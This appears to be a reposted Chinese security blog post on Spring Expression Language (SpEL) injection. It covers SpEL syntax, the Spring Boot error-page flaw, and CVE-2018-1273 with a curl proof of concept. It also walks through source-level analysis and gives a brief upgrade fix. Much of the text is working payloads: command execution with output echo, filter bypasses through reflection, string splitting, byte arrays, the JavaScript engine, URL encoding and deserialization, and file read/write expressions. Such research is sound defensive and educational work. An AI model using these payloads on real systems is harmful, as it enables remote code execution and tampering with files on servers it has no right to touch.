目錄
- 前言
- 環境
- 基礎學習和回顯實驗
- 語法基礎
- 回顯實驗
- BufferedReader
- Scanner
- SpEL漏洞復現
- 低版本SpringBoot中IllegalStateException
- CVE-2018-1273 Spring Data Commons RCE
- SpEL變形和bypass的tips
- 原型
- bypass
- 讀寫檔案和回顯
- 參考
前言
主要記載一下SpEL運算式的學習和研究筆記,主要是發現了一個不受限制的回顯運算式,完善了一下基于nio做檔案讀寫的運算式,直接看poc可以跳轉到文章最后,
環境
springboot 2.5.3
springboot 1.2.0.RELEASE
cve-2018-1273: https://github.com/wearearima/poc-cve-2018-1273
jdk 1.8u40
基礎學習和回顯實驗
這一章節主要介紹和記錄一下SpEL的基礎語法,然后探索一下SpEL注入實作命令執行后的回顯,
語法基礎
由于tomcat對GET請求中的| {} 等特殊字符存在限制(RFC 3986),所以使用POST方法傳遞引數,controller代碼如下
@Controller
@RequestMapping("test")
public class TestController {
@ResponseBody
@RequestMapping(value = "https://www.cnblogs.com/index", method = {RequestMethod.GET, RequestMethod.POST})
public String index(String string) throws IOException {
SpelExpressionParser spelExpressionParser = new SpelExpressionParser();
Expression expression = spelExpressionParser.parseExpression(string);
String out = (String) expression.getValue();
out = out.concat(" get");
return out;
}
}
由于getValue中沒有傳入引數,所以會從默認容器,也就是spring容器:ApplicationContext中獲取;如果給定了容器,則會向具體的容器中獲取,簡單的實驗環境就搭起來了,然后試試常用的SpEL語法
'aaa',表示字串aaa

T(類名),可以指定使用一個類的類方法
T(java.lang.Runtime).getRuntime().exec("calc")

這里后端會執行陳述句,然后由于型別轉換問題出現報錯,所以沒有回傳值,springboot拋出空白頁和500,但是計算器依然彈出,
new 類名,可以直接new一個物件,再執行其中的方法

可見直接new一個物件執行其中的方法,殺傷力極大!需要注意的是,類名最好用全限類名,也就是具體到某個包,不然會因為找不到具體類而報錯,
#{…} 用于執行SpEl運算式,并將內容賦值給屬性
${…} 主要用于加載外部屬性檔案中的值
兩者還可以混合使用,但需要注意的是{}中的內容必須符合SpEL運算式,這里需要換一下SpEL的寫法,否則會因為沒有使用模板決議運算式,在傳入#{后出現報錯,
@ResponseBody
@RequestMapping(value = "https://www.cnblogs.com/index", method = {RequestMethod.GET, RequestMethod.POST})
public String index(String string) throws IOException {
SpelExpressionParser spelExpressionParser = new SpelExpressionParser();
TemplateParserContext templateParserContext = new TemplateParserContext();
Expression expression = spelExpressionParser.parseExpression(string, templateParserContext);
Integer out = (Integer) expression.getValue();
return Integer.toString(out);
}
現在可以使用#{}和${}了

然后就是SpEL運算式通過xml配置和注解的使用,這里就不詳細記錄了,檔案很多,我們常用的攻擊方法也不會涉及到這一步,
回顯實驗
前面可以看到,通過SpEL可以執行系統命令,那么如何在一行SpEL陳述句中獲得命令執行的回顯呢?看了一下網上大佬們的思路,見http://rui0.cn/archives/1043
- 使用commons-io這個組件實作回顯,這種方式會受限于目標服務器是否存在這個組件,springboot默認環境下都沒有用到這個組件,,
T(org.apache.commons.io.IOUtils).toString(payload).getInputStream())
- 使用jdk>=9中的JShell,這種方式會受限于jdk的版本問題
T(SomeWhitelistedClassNotPartOfJDK).ClassLoader.loadClass("jdk.jshell.JShell",true).Methods[6].invoke(null,{}).eval('whatever java code in one statement').toString()
難道jdk原生的類沒有辦法實作回顯的輸出嗎?我找了,還真有
BufferedReader
直接給payload
new java.io.BufferedReader(new java.io.InputStreamReader(new ProcessBuilder("cmd", "/c", "whoami").start().getInputStream(), "gbk")).readLine()

原理很簡單,就不多介紹了,這種方式缺點也很明顯,只能讀取一行,如果執行dir ./命令就涼了,但單行輸出還是可以用的
Scanner
payload如下
new java.util.Scanner(new java.lang.ProcessBuilder("cmd", "/c", "dir", ".\\").start().getInputStream(), "GBK").useDelimiter("asfsfsdfsf").next()

原理在于Scanner#useDelimiter方法使用指定的字串分割輸出,所以這里給一個亂七八糟的字串即可,就會讓所有的字符都在第一行,然后執行next方法即可獲得所有輸出,就是稍微難看了點:)
SpEL漏洞復現
首先時低版本下springboot中的錯誤處理導致的SpEL漏洞
低版本SpringBoot中IllegalStateException
影響版本:
- 1.1.0-1.1.12
- 1.2.0-1.2.7
- 1.3.0
修改pom.xml中的配置
<parent>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-parent</artifactId>
<version>1.2.0.RELEASE</version>
<relativePath/> <!-- lookup parent from repository -->
</parent>
再改一下controller
@RequestMapping(value = "https://www.cnblogs.com/index", method = {RequestMethod.GET, RequestMethod.POST})
public String index(String string) throws IOException {
throw new IllegalStateException(string);
}
post傳入SpEL運算式:

可見直接決議了資料,再來試試其它payload呢

很奇怪,運算式沒什么問題,居然報錯了,而且還不是springboot的報錯頁面,顯然需要跟進springboot中的源代碼,看看發生了什么,剛剛的輸入產生的報錯呼叫堆疊如下:
org.springframework.expression.spel.SpelParseException: EL1069E:(pos 29): missing expected character '&'
at org.springframework.expression.spel.standard.Tokenizer.process(Tokenizer.java:186)
at org.springframework.expression.spel.standard.Tokenizer.<init>(Tokenizer.java:84)
at org.springframework.expression.spel.standard.InternalSpelExpressionParser.doParseExpression(InternalSpelExpressionParser.java:121)
at org.springframework.expression.spel.standard.SpelExpressionParser.doParseExpression(SpelExpressionParser.java:60)
at org.springframework.expression.spel.standard.SpelExpressionParser.doParseExpression(SpelExpressionParser.java:32)
at org.springframework.expression.common.TemplateAwareExpressionParser.parseExpression(TemplateAwareExpressionParser.java:76)
at org.springframework.expression.common.TemplateAwareExpressionParser.parseExpression(TemplateAwareExpressionParser.java:62)
at org.springframework.boot.autoconfigure.web.ErrorMvcAutoConfiguration$SpelPlaceholderResolver.resolvePlaceholder(ErrorMvcAutoConfiguration.java:210)
at org.springframework.util.PropertyPlaceholderHelper.parseStringValue(PropertyPlaceholderHelper.java:147)
at org.springframework.util.PropertyPlaceholderHelper.parseStringValue(PropertyPlaceholderHelper.java:162)
at org.springframework.util.PropertyPlaceholderHelper.replacePlaceholders(PropertyPlaceholderHelper.java:126)
at org.springframework.boot.autoconfigure.web.ErrorMvcAutoConfiguration$SpelView.render(ErrorMvcAutoConfiguration.java:189)
at org.springframework.web.servlet.DispatcherServlet.render(DispatcherServlet.java:1228)
at org.springframework.web.servlet.DispatcherServlet.processDispatchResult(DispatcherServlet.java:1011)
at org.springframework.web.servlet.DispatcherServlet.doDispatch(DispatcherServlet.java:955)
at org.springframework.web.servlet.DispatcherServlet.doService(DispatcherServlet.java:877)
at org.springframework.web.servlet.FrameworkServlet.processRequest(FrameworkServlet.java:966)
at org.springframework.web.servlet.FrameworkServlet.doPost(FrameworkServlet.java:868)
at javax.servlet.http.HttpServlet.service(HttpServlet.java:644)
省略下方tomcat呼叫堆疊
可以看到,拋出報錯之后,會從控制器dispatcherServlet捕獲到程式拋出錯誤,從其doDispatch方法呼叫到其reder方法,那我們在render方法中打個斷點往下除錯一下,看看發生了什么

render方法中,會先獲取View物件,實際獲取到的是spring中自動處理錯誤的view物件(ErrorMvcAutoConfiguration$SpelView),看類名也就知道其大概意思了,也就是回傳報錯情況下的試圖,跟進一下view.render方法

這里的邏輯也比較簡單,繼續跟進replacePlaceholders方法
public String replacePlaceholders(String value, PlaceholderResolver placeholderResolver) {
Assert.notNull(value, "'value' must not be null");
return parseStringValue(value, placeholderResolver, new HashSet<String>());
}
代碼比較簡單就不截圖了,可見又呼叫了paseStringValue方法,繼續跟進paseStringValue方法,就會看到重點邏輯了

再看看strVal
<html><body><h1>Whitelabel Error Page</h1><p>This application has no explicit mapping for /error, so you are seeing this as a fallback.</p><div id='created'>${timestamp}</div><div>There was an unexpected error (type=${error}, status=${status}).</div><div>${message}</div></body></html>
這里需要注意末尾有個message,它就是前面的報錯內容,這里的邏輯是在回傳的頁面內容找到${,這一步其實就是為了找到需要替換的位置,為替換成后面的引數做準備,然后進入while回圈,這里意思也很明顯,找到了需要替換的位置,然后把具體的值替換到result中, 而result是StringBuilder類,所以替換其中的字串自然要用replace方法,那我們從replace倒推一下就好了,很方便就可以找到具體的值propVal是從palaceholderResovler.resolvePlaceholder中獲取的,先跟進一下resolvePlaceholder方法

直接可以看到我們熟悉的SpEL運算式,而從context中獲取message,也就是我們的輸入,然后使用HtmlUtils.htmlEscape這個靜態方法進行過濾,跟進一下這個方法

可以看到這個方法的邏輯是遍歷每個字符,然后根據convertToReference方法進行替換,講替換后的字符添加到最后的輸出中,繼續跟進一下convertToReference方法

該方法對普通的單雙引號、尖括號和&進行了替換,然后對特殊的char也進行了一定的替換,這類就不具體看了,回到我們前面的message獲取

這里可以看到replace前,再執行了一次parseStringValue方法,而我們傳入的引數變成了${new java.lang.ProcessBuilder("calc").start()}很明顯雙引號被編碼了,由于parseStringValue是根據${來找SpEL運算式的,所以傳入#{會無效,進入resolvePlaceholder方法時,引數就變成了new java.lang.ProcessBuilder("calc").start()

由于雙引號被編碼,出現了&(SpEL中不允許的字符),所以直接運算式無法被執行,到這里就解開了前面那個payload無效的原因,
到這里不僅搞清楚低版本springboot拋出例外時,可能會被SpEL注入攻擊的原理,也找到了payload被過濾的具體方式,下面來繞過一下就好了
因為不能出現單雙引號,所以借助一些String類的特性,可以傳入byte陣列,payload如下:
${new java.lang.ProcessBuilder(new java.lang.String(new byte[]{99,97,108,99})).start()}

如果直接傳入#{xx},或者new xxx并不會執行SpEL,原理前面也從源代碼中看到了,
防御或修復方案
升級springboot版本即可,在高版本中,處理傳入的引數時,不會回圈根據${}去找值,也就避免了利用message獲取到拋出的錯誤內容后,將內容再根據${}取得其中的值丟給SpEL執行,從而消除了這種威脅,
CVE-2018-1273 Spring Data Commons RCE
測驗環境https://github.com/wearearima/poc-cve-2018-1273
POC: curl -X POST http://localhost:8080/account -d "name[#this.getClass().forName('java.lang.Runtime').getRuntime().exec('calc.exe')]=123"
用hackbar打一下這個poc

彈出計算器,從IDEA里面看呼叫堆疊如下
org.springframework.core.convert.ConverterNotFoundException: No converter found capable of converting from type [java.lang.ProcessImpl] to type [java.lang.String]
at org.springframework.core.convert.support.GenericConversionService.handleConverterNotFound(GenericConversionService.java:324) ~[spring-core-4.3.16.RELEASE.jar:4.3.16.RELEASE]
at org.springframework.core.convert.support.GenericConversionService.convert(GenericConversionService.java:206) ~[spring-core-4.3.16.RELEASE.jar:4.3.16.RELEASE]
at org.springframework.expression.spel.support.StandardTypeConverter.convertValue(StandardTypeConverter.java:67) ~[spring-expression-4.3.16.RELEASE.jar:4.3.16.RELEASE]
at org.springframework.expression.spel.ExpressionState.convertValue(ExpressionState.java:158) ~[spring-expression-4.3.16.RELEASE.jar:4.3.16.RELEASE]
at org.springframework.expression.spel.ast.Indexer.getValueRef(Indexer.java:139) ~[spring-expression-4.3.16.RELEASE.jar:4.3.16.RELEASE]
at org.springframework.expression.spel.ast.CompoundExpression.getValueRef(CompoundExpression.java:66) ~[spring-expression-4.3.16.RELEASE.jar:4.3.16.RELEASE]
at org.springframework.expression.spel.ast.CompoundExpression.setValue(CompoundExpression.java:95) ~[spring-expression-4.3.16.RELEASE.jar:4.3.16.RELEASE]
at org.springframework.expression.spel.standard.SpelExpression.setValue(SpelExpression.java:445) ~[spring-expression-4.3.16.RELEASE.jar:4.3.16.RELEASE]
at org.springframework.data.web.MapDataBinder$MapPropertyAccessor.setPropertyValue(MapDataBinder.java:187) ~[spring-data-commons-1.13.10.RELEASE.jar:na]
下面太長省略了
可以看到,SpEL的觸發是從spring-data-commons-1.13.10.RELEASE.jar!MapDataBinder$MapPropertyAccessor.setPropertyValue開始的,那我們找到這里的源代碼,看看具體咋回事

可以看到具體操作是使用PARSER.parseExpression(propertyName),然后使用expression.setValue(context, value)觸發SpEL注入,也就是說這里先對引數中給的key->value對中的key進行SpEL決議,最終造成SpEL注入,那么這種引數設定或系結是如何觸發的呢?

回溯呼叫堆疊可以看到這里是data-commons這個包設定的自動化引數系結,將引數的key->value傳了進去,然后到達前面的SpEL注入攻擊觸發點,
SpEL變形和bypass的tips
原型
// Runtime
T(java.lang.Runtime).getRuntime().exec("calc")
T(Runtime).getRuntime().exec("calc")
// ProcessBuilder
new java.lang.ProcessBuilder({'calc'}).start()
new ProcessBuilder({'calc'}).start()
bypass
- 反射呼叫
T(String).getClass().forName("java.lang.Runtime").getRuntime().exec("calc")
// 同上,需要有背景關系環境
#this.getClass().forName("java.lang.Runtime").getRuntime().exec("calc")
// 反射呼叫+字串拼接,繞過正則過濾
T(String).getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("ex"+"ec",T(String[])).invoke(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("getRu"+"ntime").invoke(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime")),new String[]{"cmd","/C","calc"})
// 同上,需要有背景關系環境
#this.getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("ex"+"ec",T(String[])).invoke(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("getRu"+"ntime").invoke(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime")),new String[]{"cmd","/C","calc"})
- 繞過getClass(過濾
''.getClass 替換為 ''.class.getSuperclass().class
''.class.getSuperclass().class.forName('java.lang.Runtime').getDeclaredMethods()[14].invoke(''.class.getSuperclass().class.forName('java.lang.Runtime').getDeclaredMethods()[7].invoke(null),'calc')
需要注意,這里的14可能需要替換為15,不同jdk版本的序號不同
- url編碼繞過
// 當執行的系統命令被過濾或者被URL編碼掉時,可以通過String類動態生成字符
// byte陣列內容的生成后面有腳本
new java.lang.ProcessBuilder(new java.lang.String(new byte[]{99,97,108,99})).start()
// char轉字串,再字串concat
T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(108)).concat(T(java.lang.Character).toString(99)))
- JavaScript引擎
T(javax.script.ScriptEngineManager).newInstance().getEngineByName("nashorn").eval("s=[3];s[0]='cmd';s[1]='/C';s[2]='calc';java.la"+"ng.Run"+"time.getRu"+"ntime().ex"+"ec(s);")
T(org.springframework.util.StreamUtils).copy(T(javax.script.ScriptEngineManager).newInstance().getEngineByName("JavaScript").eval("xxx"),)
- JavaScript+反射
T(org.springframework.util.StreamUtils).copy(T(javax.script.ScriptEngineManager).newInstance().getEngineByName("JavaScript").eval(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("ex"+"ec",T(String[])).invoke(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("getRu"+"ntime").invoke(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime")),new String[]{"cmd","/C","calc"})),)
- JavaScript+URL編碼
T(org.springframework.util.StreamUtils).copy(T(javax.script.ScriptEngineManager).newInstance().getEngineByName("JavaScript").eval(T(java.net.URLDecoder).decode("%6a%61%76%61%2e%6c%61%6e%67%2e%52%75%6e%74%69%6d%65%2e%67%65%74%52%75%6e%74%69%6d%65%28%29%2e%65%78%65%63%28%22%63%61%6c%63%22%29%2e%67%65%74%49%6e%70%75%74%53%74%72%65%61%6d%28%29")),)
- Jshell
T(SomeWhitelistedClassNotPartOfJDK).ClassLoader.loadClass("jdk.jshell.JShell",true).Methods[6].invoke(null,{}).eval('whatever java code in one statement').toString()
以下tips來自https://landgrey.me/blog/15/
- 繞過T( 過濾
T%00(new)
這涉及到SpEL對字符的編碼,%00會被直接替換為空
- 使用Spring工具類反序列化,繞過new關鍵字
T(org.springframework.util.SerializationUtils).deserialize(T(com.sun.org.apache.xml.internal.security.utils.Base64).decode('rO0AB...'))
// 可以結合CC鏈食用
- 使用Spring工具類執行自定義類的靜態代碼塊
T(org.springframework.cglib.core.ReflectUtils).defineClass('Singleton',T(com.sun.org.apache.xml.internal.security.utils.Base64).decode('yv66vgAAADIAtQ....'),T(org.springframework.util.ClassUtils).getDefaultClassLoader())
需要在自定義類寫靜態代碼塊 static{}
讀寫檔案和回顯
- 無版本限制回顯
new java.util.Scanner(new java.lang.ProcessBuilder("cmd", "/c", "dir", ".\\").start().getInputStream(), "GBK").useDelimiter("asfsfsdfsf").next()
在這個思路上,可以對new、ProcessBuilder等關鍵字使用反射繞過
- nio 讀檔案
new String(T(java.nio.file.Files).readAllBytes(T(java.nio.file.Paths).get(T(java.net.URI).create("file:/C:/Users/helloworld/1.txt"))))
- nio 寫檔案
T(java.nio.file.Files).write(T(java.nio.file.Paths).get(T(java.net.URI).create("file:/C:/Users/helloworld/1.txt")), '123464987984949'.getBytes(), T(java.nio.file.StandardOpenOption).WRITE)
參考
bypass openrasp SpEL RCE 的程序及思考
SPEL運算式注入-入門篇
由淺入深SpEL運算式注入漏洞
作者:bitterz 地址:https://www.cnblogs.com/bitterz/ 本文著作權歸作者和博客園所有,歡迎轉載,轉載請標明出處, 如果您覺得本篇博文對您有所識訓,請點擊右下角的 [推薦],謝謝!
轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/296076.html
標籤:其他
